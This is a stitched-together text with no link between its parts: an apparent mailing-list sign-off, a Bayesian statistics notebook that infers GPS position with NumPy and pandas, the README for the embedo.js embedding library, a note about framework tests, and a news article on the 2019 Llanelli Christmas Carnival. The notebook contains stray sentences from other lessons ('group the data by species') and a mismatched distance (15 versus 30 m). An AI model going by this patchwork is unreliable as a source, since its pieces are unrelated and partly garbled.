Well, that's all for now. Do you have any comments? questions? interesting offerings for the group? Either send your bit to everyone on the list, or send a copy on to me and I'll post it to all. I realize this is quite a deluge of info for one message, but all of this has accumulated over a few months. The traffic so far has been quite mild: don't worry about future flooding.
All for now,
Eric Haines more discussion of problem
back to contents


Bite Size Bayes¶
Copyright 2020 Allen B. Downey
License: Attribution-NonCommercial-ShareAlike 4.0 International (CC BY-NC-SA 4.0)
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
Fixing GPS¶
The Global Positioning System (GPS) is widely used satellite-based navigation system. If you have a GPS receiver, you can use it to estimate your position on earth in three dimensions: latitude, longitude, and altitude.
Although GPS is accurate enough for applications like getting driving directions, is is subject to errors from several sources, described in this Wikipedia article.
For purposes of this problem, I’ll assume that the distribution of errors in the horizontal directions is a normal distribution with mean 0 and standard deviation 5 m. I’ll also assume that errors in the \(x\) and \(y\) directions are independent.
In other words, if you stand on a survey marker placed by the National Geodetic Survey (NGS), so that your position is known with high accuracy, and take a single reading from a GPS receiver, the difference between the reading and the actual position would be well-modeled by a normal distribution.
SciPy provides an object called norm
we can use to represent a normal distribution with a given mean and standard deviation.
from scipy.stats import norm
error_dist = norm(0, 5)
norm
provides a function called pdf
that compute the Probability Density Function (PDF) of the distribution.
xs = np.linspace(-15, 15)
ps = error_dist.pdf(xs)
error_series = pd.Series(ps, index=xs)
error_series.plot()
plt.xlabel('Error (m)')
plt.ylabel('Probability density')
plt.title('Error distribution');
def outer_product(s1, s2):
"""Compute the outer product of two Series.
First Series goes down the rows;
second goes across the columns.
s1: Series
s2: Series
return: DataFrame
"""
a = np.multiply.outer(s1.to_numpy(), s2.to_numpy())
return pd.DataFrame(a, index=s1.index, columns=s2.index)
Here’s what the distributions of width look like.
joint_dist = outer_product(error_series, error_series)
def plot_contour(joint):
"""Plot a joint distribution.
joint: DataFrame representing a joint PMF
"""
plt.contour(joint.index, joint.index, joint)
plt.ylabel('y position in m')
plt.xlabel('x position in m')
plot_contour(joint_dist)
Inferring position¶
Now suppose I am standing in a field with a survey marker at the center. I’ll define the position of the marker to be the origin, where x
and y
positions are 0
, and I’ll define east to be the positive x
axis and north to be the positive y
axis.
I don’t know my actual location, but based on a single GPS reading, I compute that I am 10 m east and 20 m north of the marker.
Based on this reading, what is the posterior distribution of my actual location?
Well, it depends on how I got there.
To get started, let’s assume that I am equally likely to be at any location in a large, square field. In that case, x
and y
are independent and their distributions are uniform.
def make_pmf(xs, ps, **options):
"""Make a Series that represents a PMF.
xs: sequence of values
ps: sequence of probabilities
options: keyword arguments passed to Series constructor
returns: Pandas Series
"""
pmf = pd.Series(ps, index=xs, **options)
pmf /= pmf.sum()
return pmf
xs = np.linspace(-50, 50, 101)
prior_x = make_pmf(xs, 1)
ys = np.linspace(-50, 50, 101)
prior_y = make_pmf(ys, 1)
I’ll group the data by species and compute summary statistics.
To compute the likelihood of the x
data, we can ask, “If my actual position were x
, what is the probability my GPS reading would be 10 m?”
To answer that question, we can compute the hypothetical error for each value of x
:
error_x = 10 - xs
Then we can use error_dist
to compute the probability of the hypothetical errors.
likelihood = error_dist.pdf(error_x)
And the posterior distribution.
posterior_x = prior_x * likelihood
posterior_x /= posterior_x.sum()
prior_x.plot(label='prior')
posterior_x.plot(label='posterior')
plt.xlabel('Position (m)')
plt.ylabel('Probability')
plt.title('Prior distribution of position');
error_y = 20 - ys
likelihood = error_dist.pdf(error_y)
posterior_y = prior_y * likelihood
posterior_y /= posterior_y.sum()
joint_posterior1 = outer_product(posterior_y, posterior_x)
plot_contour(joint_posterior1)
This result might not come as a surprise to you. With a uniform prior, the posterior is just a normalized version of the likelihood function.
Since the likelihood function is the PDF of a normal distribution, the posterior is a normal distribution with mean at the measured location, (10, 20), and the same standard deviation as the error distribution.
So we could have figured that out in our heads. But now that we have done it the hard way, we are ready to solve harder problems.
Parachuting in¶
Suppose I parachute into the field and try to land on the marker, and suppose my actualy landing position is well modeled by a normal distribution, along both axes, with mean 0 and standard deviation 15 m.
We can construct the marginal distributions for my positions along the x
and y
axes, like this:
landing_dist = norm(0, 15)
xs = np.linspace(-50, 50, 101)
ps = landing_dist.pdf(xs)
prior_x = make_pmf(xs, ps)
ys = np.linspace(-50, 50, 101)
ps = landing_dist.pdf(ys)
prior_y = make_pmf(ys, ps)
Assuming that my errors along the two axes are independent, we can use outer_product
to construct the joint distribution for my landing spot.
joint_posterior = outer_product(prior_y, prior_x)
plot_contour(joint_posterior)
After landing, suppose I take a single GPS reading that indicates I am 10 m east and 20 m north of the marker.
I can use the GPS reading to update the distribution of my x
coordinate, exactly as in the previous problem.
error_x = 10 - xs
likelihood = error_dist.pdf(error_x)
posterior_x = prior_x * likelihood
posterior_x /= posterior_x.sum()
Here’s what the prior and posterior distributions look like for my x
coordinate:
prior_x.plot(label=’prior’) posterior_x.plot(label=’posterior’)
plt.xlabel(‘Position (m)’) plt.ylabel(‘Probability’) plt.title(‘Prior distribution of position’) plt.legend();
To compute the posterior mean, I’ll use this function, which we’ve seen in a previous notebook.
def pmf_mean(pmf):
"""Compute the mean of a PMF.
pmf: Series representing a PMF
return: float
"""
return np.sum(pmf.index * pmf)
The posterior mean is 9, a little less than the GPS reading, because in the prior distribution, values closer to 0 are more likely.
pmf_mean(posterior_x)
9.0
Exercise: Update the y
coordinate with the GPS read (20 m north) and compute the posterior mean. We expect it to be a bit less than 20 m.
# Solution
error_y = 20 - ys
likelihood = error_dist.pdf(error_y)
posterior_y = prior_y * likelihood
posterior_y /= posterior_y.sum()
# Solution
pmf_mean(posterior_y)
17.999999999888672
In this version of the problem, the x
and y
coordinates are independent, so we can use outer_product
to construct the joint posterior.
joint_posterior2 = outer_product(posterior_y, posterior_x)
plot_contour(joint_posterior2)
If you are not convinced that the coordinates are independent, just because I say say, you could update the joint prior distribution rather than the marginal distributions. In the next example, we’ll see how.
Running away¶
Suppose I start out standing on the marker, spin until I am facing in a random direction, and then walk about 30 m, where my margin of error is 3 m.
So my distance from the origin is well modeled by a normal distribution with mean 30 and standard deviation 3.
Before I get a GPS reading, what is the prior distribution of my position?
In this example, x
and y
are not independent. For example, if I know that x
is near 30 m, that implies that y
is near 0. And if I know y
is near 0, that implies that x
is close to 30 m or -30 m.
To construct the prior distribution, I’ll start with a joint distribution for x
and y
that is uniform and independent. Then I’ll do a Bayesian update with the data that I am 15 from the origin.
Here are the uniform marginal priors we’ve used before.
xs = np.linspace(-50, 50, 101)
prior_x = make_pmf(xs, 1)
ys = np.linspace(-50, 50, 101)
prior_y = make_pmf(ys, 1)
And here is the uniform joint prior.
joint_prior = outer_product(prior_x, prior_y)
To compute the distances from the center, I’ll use the outer
version of the NumPy function hypot
, which computes the hypotenuse of a triangle with the given sides.
See how useful outer function are?
distances = np.hypot.outer(xs, ys)
distances.shape
(101, 101)
Now, to compute a likelihood function, we can compute error
, which is the difference between each hypothetical distance and the data, which is 30 m.
error = distances - 30
error.shape
(101, 101)
The distribution of these errors is normal with standard deviation 3 m.
error_dist = norm(0, 3)
To get the likelihoods, we evaluate the normal PDF for each hypothetical error.
likelihood = error_dist.pdf(error)
likelihood.shape
(101, 101)
As usual, the posterior distribution is the normalize product of the prior and the likelihood.
joint_posterior3 = joint_prior * likelihood
joint_posterior3 /= joint_posterior3.to_numpy().sum()
And here’s what the posterior joint distribution looks like.
plot_contour(joint_posterior3)
plt.title('Joint distribution');
Remember that we did all that to compute the prior before we get a GPS reading.
Now suppose we take a reading and it indicates that we are 10 m east and 20 m north of the marker (as in the previous versions).
We’ll use the posterior we just computed as the prior for the next update.
donut_prior = joint_posterior3
To compute the likelihoods, I’m going to cheat a little.
Remember that in the first version of the problem we started with a uniform prior and did an update with the same data. The posterior we computed is just the normalized likelihood of the data, so we can use it as the likelihood for this update.
likelihood = joint_posterior1
As usual, the posterior is the normalized product of the prior and the likelihood.
donut_posterior = donut_prior * likelihood
donut_posterior /= donut_posterior.to_numpy().sum()
And here’s what it looks like.
plot_contour(donut_posterior)
plt.title('Joint posterior distribution');
It reminds me of The Bean.
Marginal posterior distributions¶
From the joint posterior distribution we can extract the marginal distributions for the coordinates.
def marginal(joint, axis):
"""Compute a marginal distribution.
axis=0 returns the marginal distribution of the second variable
axis=1 returns the marginal distribution of the first variable
joint: DataFrame representing a joint PMF
axis: int axis to sum along
returns: Series representing a marginal PMF
"""
return joint.sum(axis=axis)
donut_posterior_x = marginal(donut_posterior, 0)
donut_posterior_y = marginal(donut_posterior, 1)
Here’s what they look like.
donut_posterior_x.plot(label='x')
donut_posterior_y.plot(label='y')
plt.xlabel('Position (m)')
plt.ylabel('Probability')
plt.title('Marginal posterior distributions')
plt.legend();
And here are the posterior means.
mean_x = pmf_mean(donut_posterior_x)
mean_x
12.312006344725674
mean_y = pmf_mean(donut_posterior_y)
mean_y
24.62401268945136
Here’s the distance from the marker to the location of the posterior means:
np.hypot(mean_x, mean_y)
27.530483126215326
This distance represents a compromise between two sources of information:
I started with the prior belief that I was 30 m from the marker, but
My GPS reading suggests that I am only about 22 m from the marker.
np.hypot(10, 20)
22.360679774997898
The posterior mean distance is close to 30 m than 22 m because the margin of error in the prior, 3 m, is less than the margin of error of GPS, which is 5 m in each direction.
np.hypot(5, 5)
7.0710678118654755
In this case, Bayes’s theorem tells us that we should give more weight to out prior belief about the distance.
Actually, the posterior mean distance we just computed is not quite right because we computed the means of the marginal distributions independently.
To compute the posterior mean correctly, we have to compute the weighted sum of the hypothetical distances, using the posterior probabilities as weights.
qs = distances
ps = donut_posterior.values
np.sum(qs * ps)
28.095352174426047


embedo.js
Embedo adds a layer on top of third party embed APIs while ensuring best practices and native guidelines for each component. It takes cares of resizing the container, emitting necessary events and with support for native and external options to be pass along.
It handles external SDKs, oEmbeds, adds responsivness and is intended to make easier integrations with less hassels or any setup.
Install
# npm
$ npm install embedo --save
# Bower
$ bower install embedo
Alternatively, import latest versions hosted on CDNs via jsDelivr, cdnjs or latest unpkg. It takes care of adding external scripts and necessary requirements to embed, and does checks if you’ve already added them already.
Usage
Embedo supports AMD and CommonJS modules. Also, an example can be found here.
const Embedo = require('embedo'); // OR import Embedo from 'embedo';
const embedo = new Embedo(); // OR const embedo = new Embedo();
embedo.load(<HTMLElement[object]>, <URL[string]>, <options[object]*optional>);
Initialize Options
The following options can be set during library import is called:
| Parameter | Type | Default | Description |
|---|---|---|---|
facebook |
object/boolean | null | Injects Facebook SDK |
twitter |
object/boolean | true | Injects Twitter SDK |
instagram |
object/boolean | true | Injects Instagram SDK |
pinterest |
object/boolean | false | Injects Pinterest SDK |
googlemaps |
object/boolean | null | Injects Google Maps SDK |
For YouTube and Vimeo, no sdk is required. If you were to host any external URL
with HTML or any other file, it will try to render after checking cross browser policies and other validations
to an <iframe>
or <object>
tag.
Advance Options
Since facebook and googlemaps require appId
and api_key
attributes to make enable oEmbed,
they can be passed along as:
// Custom options for Facebook and Google Maps
new Embedo({
facebook: {
appId: 'my_app_id_here',
version: 'v2.8',
xfbml: false
},
googlemaps: {
key: 'your_api_key'
}
})
Events
.load()
The .load()
function is all what you need to embed third party content. Since there are restrictions
for sizes, that you can’t bypass, an additonal functionality is added as automagic function which
basically scales and add flex support to adjust content with assigned or detected size.
embedo.load(<HTMLElement>, <URL|string>, <options|{}*optional>)
Native Options
| Parameter | Type | Default | Description |
|---|---|---|---|
width |
number | null | Custom width of container (gets ignored if not supported via native embed API) |
height |
number | null | Custom height of container |
strict |
boolean | true | Enabled/Disabled auto-resizing container |
External Options
- Facebook - Supports
maxwidth
,omitscript
(API Reference) - Twitter - See Parameters section here
- Instagram - Supports
hidecaption
,maxwidth
,omitscript
(API Reference) - YouTube - See Supported Parameters section here
- Pinterest - See API Reference
- Google Maps - Supports
zoom
as integer andmapTypeId
as enum asroadmap|satellite|hybrid|terrain
(API Reference)
.refresh()
The embedo.refresh()
method can be called explicitly when you have a change
or resize
event, which re-calculates the dimensions of generated content.
// Refresh single container
embedo.refresh(document.getElementById('my-element-id'));
// Refresh all embedo instances
embedo.refresh();
.destroy()
The embedo.destroy()
method can be called explicitly when wish to remove and unbind embedo instance(s).
// Destroy single container
embedo.destroy(document.getElementById('my-element-id'));
// Destroys all embedo instances
embedo.destroy();
Event Listeners
Embedo also has internal event listeners implemented which emits following events:
| Listeners | Methods | Description |
|---|---|---|
watch |
on/once/off | Updated element’s properties and dimensions |
refresh |
on/once/off | Triggers after an element refreshes |
destroy |
on/once/off | Triggers after emo destorys |
error |
on/once/off | Returns exception that occurs during load |
They can be instantiated like this:
embedo.on('watch', function (result) {});
embedo.on('refresh', function (request, result) {});
embedo.on('error', function (error) {});
embedo.on('destroy', function () {});
Example
embedo.load(
document.getElementById('my-element-id'),
'https://twitter.com/Sh0bhit/status/797584590214926340'
);
// jQuery
embedo.load($('.my-unique-selector').get(0), 'https://www.youtube.com/watch?v=Q6gYFO4iGlk');


Every framework runs in his own iFrame, thus no conflicts can happen.
Tests are run in a neutral environment, no library or framework is included in the main javascript test, to avoid favoritism.
Tests are run against a local copy of this document.


Llanelli Christmas Carnival 2019 times, road closures, route and entertainment
The festive event is returning to the town...
by Christie BannonThere are just days to go until the most festive night of the year returns to Llanelli .
The hugely popular Christmas Carnival sees thousands of people line the streets of the town centre each year to catch a glimpse of the decorated floats.
Entertainment, food stalls and funfair rides will all be on offer, as well as a special fireworks display to round off the night.
Here's all you need to know about the event.
When is Llanelli's Christmas parade?
This year's parade will be on Friday, November 22 .
What time does it start?
The outdoor market in Stepney Street will be open from 9am and the funfair rides in Spring Gardens will be open from 4pm .
Live acts will be taking to the stage near the town hall from 5.15pm .
The highly anticipated parade will get under way at 6.15pm with the floats making their way to the town centre.
The Christmas lights will then be switched on at 6.45pm before all of the floats will arrive at the town hall at around 7pm .
At 7.40pm a spectacular fireworks display will mark the finale.
The carnival parade prize presentation will take place on the main stage at 8.15pm and the funfair will then close at 9pm .
What will be happening?
Stepney Street will be lined with stalls of festive food, treats and gifts, getting people ready for what is known as the biggest night of the year for the town.
There will be plenty of street entertainment throughout the day and a number of fairground rides and stalls will be set up in Spring Gardens.
Radio DJ Tommo will compere the evening, with performances by local singers.
The town's Christmas lights will be switched on by Llanelli chamber of trade and commerce competition winners Farah Asada of Ysgol Brynteg and Weronika Szafran-Drafc of Ysgol Penrhos.
Their winning designs will be illuminated as part of the decorations in Stepney Street.
What is the route?
The route will start off from Festival Fields before heading along Pembrey Road and Hall Street.
The floats will then make their way along Church Street before turning onto Queen Victoria Road and Erw Road and will then arrive back on Church Street near the town hall.
Will there be road closures?
Yes, a number of rolling road closures will be in place will the parade procession is under way.
Cowell Street will be closed from 12pm until around 8pm .
Station Road and Church Street , from its junction with Murray Street to its junction with Gelli Onn , will be closed from 5.45pm until 8pm .
For the first time this year, Gelli Onn will be closed to westbound traffic only from its junction with Thomas Street .